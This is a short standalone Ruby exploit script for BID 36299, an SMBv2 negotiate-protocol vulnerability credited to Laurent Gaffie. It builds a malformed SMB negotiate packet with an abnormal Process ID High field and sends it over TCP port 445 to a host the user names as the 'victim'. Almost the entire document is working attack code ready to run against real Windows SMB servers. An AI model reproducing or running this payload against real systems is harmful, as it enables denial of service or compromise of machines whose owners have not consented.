#!/usr/bin/env ruby # Attack for BID:36299, now in standalone Ruby form. # Discovered by Laurent Gaffie http://g-laurent.blogspot.com, from whom # the payload is ripped off from. require 'socket' def usage puts "Usage: " puts "#{$0} victim " exit(1) end host = ARGV[0] || "127.1.2.3" usage unless host port = ARGV[1] || 445 sploit = "\x00\x00\x00\x90" # Begin SMB header: Session message sploit << "\xff\x53\x4d\x42" # Server Component: SMB sploit << "\x72\x00\x00\x00" # Negociate Protocol sploit << "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 sploit << "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" sploit << "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" sploit << "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" sploit << "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" sploit << "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" sploit << "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" sploit << "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" sploit << "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" sploit << "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" sploit << "\x30\x30\x32\x00" t = TCPSocket.new(host,port) t.print sploit t.close